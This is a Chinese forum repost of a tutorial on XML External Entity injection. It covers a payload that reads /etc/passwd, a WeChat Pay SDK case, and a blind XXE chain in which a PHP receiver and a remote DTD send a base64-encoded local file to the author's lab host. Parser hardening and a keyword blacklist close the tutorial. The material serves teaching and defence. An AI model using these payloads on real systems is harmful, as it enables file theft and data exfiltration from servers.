安全矩阵

 找回密码
 立即注册
搜索
查看: 4688|回复: 0

【web安全】XXE漏洞

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-4-9 12:54:00 | 显示全部楼层 |阅读模式
本文转自:【web安全】XXE漏洞
本篇文章首发于i春秋社区,作者:掘安攻防实验室成员-挨踢小子

一、生成原因
XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题


二、什么是XXE漏洞
XXE 全称是:XML External Entity
简单来说,XXE 就是 XML 外部实体注入。当应用程序允许引用外部实体时,通过构造恶意内容,就可以导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。另外 php 版本大于 5.4.45 的默认不解析外部实体

什么是 XML,如需详细了解,可参考
https://www.runoob.com/xml/xml-tutorial.html

内部的 DOCTYPE 声明:
<!DOCTYPE 根元素 [元素声明]>



PCDATA 的意思是被解析的字符数据(parsed character data)
PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记
CDATA 的意思是字符数据(character data)
CDATA 是不会被解析器解析的文本

外部的 DO
CTYPE 声明:
<!DOCTYPE 根元素 SYSTEM "文件名">


这是包含 DTD 的 "note.dtd" 文件

DTD实体
实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用
实体可在内部或外部进行声明

DTD内部实体声明
<!ENTITY 实体名称 "实体的值">


DTD外部实体声明
<!ENTITY 实体名称 SYSTEM "URI/URL">


XML 外部实体
XML,可拓展的标记语言(eXtensible Markup Language)
用于传输和存储数据

XML文档实例:


XML“外部实体”实例:


上图中定义了 myentity 实体 system 后面的 file:///etc/passwd 执行后的结果会赋给实体
然后再用 <标签>&实体名称;</标签>  形式将结果输出出来
可以在 DOCTYPE 头部标签中通过 SYSTEM 关键字定义“实体”,这些“实体”可以访问本地或远程的内容。SYSTEM 告诉 XML 解释器,从 URI 中读取实体的内容。攻击者可以通过实体将自定义的值发送给应用程序,然后让应用程序去呈现,比如上面就是把实体定义为 passwd 文件,让 XML 解释器去读取文件

三、如何发现XXE漏洞

寻找 XML 输入点
比如 Content-Type:text/xml, post 的数据包含 XML 格式,如:
  1. <forgot><username>admin</username></forgot>
复制代码

请求头中添加 Content-Type:text/xml
或 Content-type:application/xml

同时,POST 中添加 payload


四、XXE其他危害
任意文件读取(如下)



  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
  3. <test>
  4. <wsw>&xxe;</wsw>
  5. </test>
复制代码

通过提交自动以 URI,可以读取任意文件(本地或远程)
还可以通过 DTD 文档引入外部 DTD 文档,再引入外部实体声明,如下:


以上输入有回显的情况,/etc/passwd 可以直接被显示出来,无回显的情况,需要把文件外发至远程服务器,具体如下:




拒绝服务攻击
原理为:构造恶意的 XML 实体文件耗尽可用内存,因为许多 XML 解析器在解析 XML 文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。



测试后端服务器的开放端口


通过返回的 “Connection refused” 可以知道该 81 端口是 closed 的,而 80 端口是open的

后端 WEB 漏洞如果可以通过 URL 加以利用,可造成 WEB 漏洞攻击


命令执行

PHP 要开启 PECL 上的 Expect 扩展

五、案例-微信支付的XXE

漏洞描述:
微信支付提供了一个 api 接口,供商家接收异步支付结果,微信支付所用的 java sdk 在处理结果时可能触发一个 XXE 漏洞,攻击者可以向这个接口发送构造恶意 payloads,获取商家服务器上的任何信息,一旦攻击者获得了敏感的数据 (md5-key and merchant-Id etc.),他可能通过发送伪造的信息不用花钱就购买商家任意物品
如图所示:
上述类中实现了 xmltoMap 和 maptoXml 这两个方法,而这次的微信支付的 xxe 漏洞爆发点就在 xmltoMap 方法中,当构建了 documentBuilder 以后就直接对传进来的 strXML 解析了,而不巧的是 strXML 是一处攻击者可控的参数,于是就出现了 XXE 漏洞。
修复建议

只需关闭外部引用实体即可
1、配置 XML 处理器使用禁用 DTD、禁止外部实体解析
  1. factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
  2. factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
  3. factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
复制代码

2、通过黑名单过滤用户提交的 XML 数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC

六、Blind XXE注入
先说啥是 Blind XXE,上面的 xxe 都是有回显的,比如我们现在干一件事,去把源码稍微改一下



再来执行一下,看不到结果了
那这个时候他确实是会处理 xml 的,那我们怎么利用他呢,当然前期是可以通过发送不同类型的 content-type 来进行探测响应包的区别来进行一定的判断是否存在 xxe 的
漏洞利用
首先去本机网站上写一个可以接收数据的 php,如果通过查看日志的方式,开个网站服务就可以了。如果是实战的话,那么得弄一个可以被访问的公网 IP 的主机。
  1. <?php
  2. $data = '';
  3. $filename = "xxe.txt";
  4. $data_tmp = fopen($filename,"a+");
  5. $data .= $_GET['xxe'];
  6. $data .= "\n"."\r";
  7. fwrite($data_tmp,$data);
  8. fclose($data_tmp);
  9. ?>
复制代码
接着在本机构造一个 dtd 文件,用于被受害主机引用
  1. <!ENTITY % xxe "<!ENTITY % send SYSTEM 'http://192.168.181.1/xxe.php?xxe=%data;'> ">
  2. %xxe;
复制代码

接着构造下列 xml

  1. <?xml version="1.0"?>
  2. <!DOCTYPE test[
  3. <!ENTITY % remote SYSTEM "http://192.168.181.1/xml.dtd">
  4. <!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=./xxe_injection.php">
  5. %remote;
  6. %send;]>
  7. <data1>123</data1>
复制代码

此时,去看本机下的目录就会得到解密的文件。(这里我想了快5个小时,最后发现./xxe_jection如果换成/etc/passwd就读不出来,猜测是/etc/passwd无法被base64转码。。。太弱了)


用 base64 转换后就可以得到原文件内容了。
最后再说一遍流程吧,首先执行 %remote,所以先去访问:
http://192.168.181.1/xml.dtd

于是得到 xml.dtd 里面的内容,然后执行了 %xxe,再继续去访问:
http://192.168.181.1/xxe.php?xxe=%data;

而 %data; 执行了就变成了
php://filter/read=convert.base64-encode/resource=./xxe_injection.php

所以最终就形成了
http://192.168.181.1/xxe.php?xxe=php://filter/read=convert.base64-encode/resource=./xxe_injection.php

两次访问本机的记录在日志里面都可以找到

七、防御XXE攻击

方案一、使用开发语言提供的禁用外部实体的方法
PHP:
  1. libxml_disable_entity_loader(true);
复制代码
JAVA:
  1. DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
  2. dbf.setExpandEntityReferences(false);
复制代码
Python:
  1. from lxml import etree
  2. xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
复制代码

方案二、过滤用户提交的XML数据   

关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-19 08:18 , Processed in 0.017238 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表